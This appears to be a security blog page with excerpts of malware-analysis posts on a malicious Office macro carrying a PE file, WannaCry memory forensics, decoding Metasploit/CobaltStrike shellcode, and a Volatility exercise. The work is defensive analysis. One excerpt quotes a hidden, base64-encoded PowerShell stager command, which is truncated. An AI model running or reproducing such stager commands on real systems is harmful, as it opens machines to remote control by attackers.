Malicious office document analysis Part-3

Introduction
This post covers how to identify and extract potential malicious content like embedded executable and payloads from Macro forms in office documents. Refer Part-1 and Part-2 to get an understanding of tools and approach to analyse phishing documents.

Tools

Didier Stevens Suite
sudo pip install oletools

Analysis

All document samples are pulled from Hybrid Analysis - a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.

Hash: 345b804a9416595840516674caaa65e65be57591d300beab2b6190298a9eac78

Download above mentioned sample and check the integrity

Check the file properties using native Linux file command which gives quick idea about sample

Ran oledump.py to check the embedded macros and macro related forms

It was found that stream 14 and 15 look like macro forms. Dump them using -d option to check anything suspicious content in it

Wow ! Hex 4d5a was observed which is traditional ASCII MZ header for windows executable, DLL or sys files. Ran base64dump.py to decode the hex coded content to check the ASCII header

Dumped the identifier 1 in ASCII

Ran pecheck.py to check the PE file basic properties, history, header, sections info, imports and exports

Dump the PE file for further analysis

Comments

Memory Analysis of WannaCry Ransomware

Introduction
This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)

WannaCry
WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack

Discalimer
You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlled environme…

Decoding Metasploit and CobaltStrike shells

Introduction
This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).

It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary

ShellCode
Here we have the encoded powershell command

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAA…

Memory dump analysis of Donny's System

Introduction

This post solves the mystery of Donny's System and outlines how to utilize memory forensics methodology to uncover artifacts from memory dumps

Tools: Volatility, Yara & Windows Powershell

Analysis

Six-step investigative methodology by SANS

Identify rogue processes Analyze process DLLs and handles Review network artifacts Look for evidence of code injection Check for signs of rootkitDump suspicious processes and drivers Run volatility imageinfo plugin to identify profile PS C:\volatility> .\vol.exe -f .\unknown.vmem imageinfo
Run Volatility pslist plugin to see active running processes
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist
Just to remind that all process creation and termination timings are specified in UTC. Ensure to change them to system timezone while correlating the events with other sources of evidence
game.exe clearly looks suspicious as it ran and exit in a short span of time. The most interesting part was explor…

null0x4d5a

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